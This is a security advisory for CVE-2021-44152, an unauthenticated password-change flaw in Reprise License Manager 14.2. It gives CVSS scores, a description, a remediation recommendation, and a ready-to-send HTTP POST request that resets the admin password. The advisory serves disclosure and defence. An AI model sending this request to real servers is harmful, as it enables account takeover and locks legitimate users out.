Reprise License Manager 14.2 Unauthenticated Password Change

2021.12.08
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Product: Reprise License Manager 14.2 # Vendor: Reprise Software # CVE ID: CVE-2021-44152 # Vulnerability Title: Unauthenticated Password Change # Severity: High # Author(s): Mark Staal Steenberg, Bilal El Ghoul, Gionathan Armando Reale, Andreas Fyhn Andersen, Oliver Lind Nordestgaard # Date: 2021-11-25 ############################################################# Introduction: Because /goform/change_password_process does not verify authentication or authorization, an unauthenticated user can change the password of any existing user. This allows an attacker to change the password of any known user, thereby preventing valid users from accessing the system and granting the attacker full access to that user's account. Vulnerability: If an unauthenticated user sends the following HTTP request they can change the password of any user: POST /goform/change_password_process HTTP/1.1 Host: 127.0.0.1:5054 Content-Length: 53 pw1=passwd&pw2=passwd&user=admin&ok=CHANGE%2BPASSWORD Recommendation: Ensure that authentication is required prior to password change requests and that users cannot modify or change passwords of others users.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top